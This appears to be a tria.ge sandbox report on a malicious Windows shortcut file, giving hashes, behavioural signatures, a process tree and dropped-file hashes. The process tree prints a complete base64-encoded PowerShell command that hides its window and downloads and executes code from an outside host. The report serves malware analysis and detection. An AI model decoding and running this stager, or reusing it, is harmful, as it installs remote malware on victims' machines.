Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
95s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
14/05/2024, 22:04
Static task
static1
Behavioral task
behavioral1
Sample
434128856ff38548fe68606a28ac1d1e_JaffaCakes118.lnk
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
434128856ff38548fe68606a28ac1d1e_JaffaCakes118.lnk
Resource
win10v2004-20240508-en
General
-
Target
434128856ff38548fe68606a28ac1d1e_JaffaCakes118.lnk
-
Size
2KB
-
MD5
434128856ff38548fe68606a28ac1d1e
-
SHA1
f5c7212d1823a383e3f0872c199c75d958816538
-
SHA256
1b847caaf38348409a73720a12b873672ee5cc1be743cb62fa9f4097b6ff69fc
-
SHA512
71c8b0fd6917c5ae7cd33efd493b7d77c8fade356321b2909619cd1aee696d401a0403352184b5448d12a2d2a8a3a3ec1ace38434251988e21b8447312f9f6b2
Malware Config
Extracted
https://sepogy.epiain.com/v2/gl.php?aHR0cHM6Ly9zZXBvZ3kuZXBpYWluLmNvbS92Mnx4b3Vn%
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1288 powershell.exe 1288 powershell.exe 1288 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1288 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 5076 wrote to memory of 1288 5076 cmd.exe 82 PID 5076 wrote to memory of 1288 5076 cmd.exe 82 PID 1288 wrote to memory of 5028 1288 powershell.exe 85 PID 1288 wrote to memory of 5028 1288 powershell.exe 85 PID 5028 wrote to memory of 1008 5028 csc.exe 87 PID 5028 wrote to memory of 1008 5028 csc.exe 87
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\434128856ff38548fe68606a28ac1d1e_JaffaCakes118.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -en UABlADsAQQBkAEQALQBUAFkAUABlACAALQBuAGEATQBFACAAQQAgAC0AbQBFAG0AYgBFAFIAZABFAGYAaQBOAEkAVABpAE8AbgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoACwAIABpAG4AdAAgAHMAKQA7ACcAIAAtAG4AQQBtAEUAcwBQAEEAQwBlACAAYgA7AFsAQgAuAGEAXQA6ADoAcwBIAG8AdwBXAEkATgBEAG8AVwAoACgAWwBzAHkAUwB0AEUATQAuAGQAaQBBAGcATgBvAFMAdABpAGMAcwAuAFAAcgBvAEMARQBTAHMAXQA6ADoARwBFAHQAQwBVAHIAUgBlAE4AdABwAFIAbwBDAEUAcwBTACgAKQAgAHwAIABQAHMAKQAuAG0AYQBJAG4AVwBpAE4AZABPAHcASABhAE4ARABMAGUALAAwACkAOwBpAGUAWAAoAE4ARQB3AC0AbwBCAGoARQBDAFQAIABuAGUAdAAuAHcAZQBiAGMATABpAEUATgB0ACkALgBkAE8AVwBOAEwATwBhAGQAUwBUAFIASQBOAEcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAGUAcABvAGcAeQAuAGUAcABpAGEAaQBuAC4AYwBvAG0ALwB2ADIALwBnAGwALgBwAGgAcAA/AGEASABSADAAYwBIAE0ANgBMAHkAOQB6AFoAWABCAHYAWgAzAGsAdQBaAFgAQgBwAFkAVwBsAHUATABtAE4AdgBiAFMAOQAyAE0AbgB4ADQAYgAzAFYAbgAlACcAKQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hobucxse\hobucxse.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5D72.tmp" "c:\Users\Admin\AppData\Local\Temp\hobucxse\CSCDFDD016613742B1B9401DA24F9C4728.TMP"4⤵PID:1008
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5da982e00dc41e8a10217201b0a0593b7
SHA18e1038438a7bd77370443b567d6ed5370f1e8069
SHA256b8e994bcaeb639737c16a1082941d74c37e8fb93e46b030d30d96e6f3a0f592c
SHA51274a305b4cef53a72becb3451705226fe532bdacaff5e8685b4fd6e490e5898a318153fe9977fe537f821add701ca4174968423f3e36103d406167c5496e12a0d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3KB
MD5789f4e62665a4cb579a3675c9c9acd32
SHA1869461856d2d105723a3aba084e05d1bebd880c4
SHA2561d5c47b4080fb67463a778b772760654eb7c44163fa071215617329deb0c82de
SHA51280f0317e9f2702e58c75cb758b60460b2fdb9c1e7491e837f50138beca96451e82121a434e1ef8c079fee04ff0049ec68758d6c9675ef07d39317d3073581196
-
Filesize
652B
MD577add126e3283638f7a699d9d9414fb1
SHA1af4635ac008e3132d17a5cb7fdb8f8d1feefa896
SHA2564099b28f38e6492bb25d012f4ad98f45fc522ad00b5b95f49ebb71c53c4a8515
SHA512a11ee618b0ca363788ee2035532ed864e835e704f708e04da2117b5c28b99f8b4f550c8023b36d7effbffb8ab63dbc7d24e144e394ef12a55b4362dfb0b47db2
-
Filesize
187B
MD5dd6ab2ff4c462389df4293eb25b3f523
SHA1ffc70f2025d1c802400f1ac8d8721c88547fb4b9
SHA2566a1f4fbc312ee4b5105106efb192b8f80574a5f796848ae01d516f5752e1b635
SHA51247e62a33654cc4daba627d89e76d87bed2af5421ed8f52164d5a5104797535520e6638dc69242599dce1a7a350f94e181dde509587162dbf01349bc11e20b055
-
Filesize
369B
MD5585e478aa21a60b9e1733e9113908d9a
SHA1e489fac9cb695f645714b36d32c4d948cde2c284
SHA256a539f95c65811b7597929f30ff214778d34f4f85fdd1e0d2ce0b1d07ad234a99
SHA512cf179e53949e14d44cccee2c5cfa46c1806ed301f8e81b9001923fe271805c9293088418128424e9ce725427f0af51662a6c46586ba126207c5aa2d8c4f7c8fd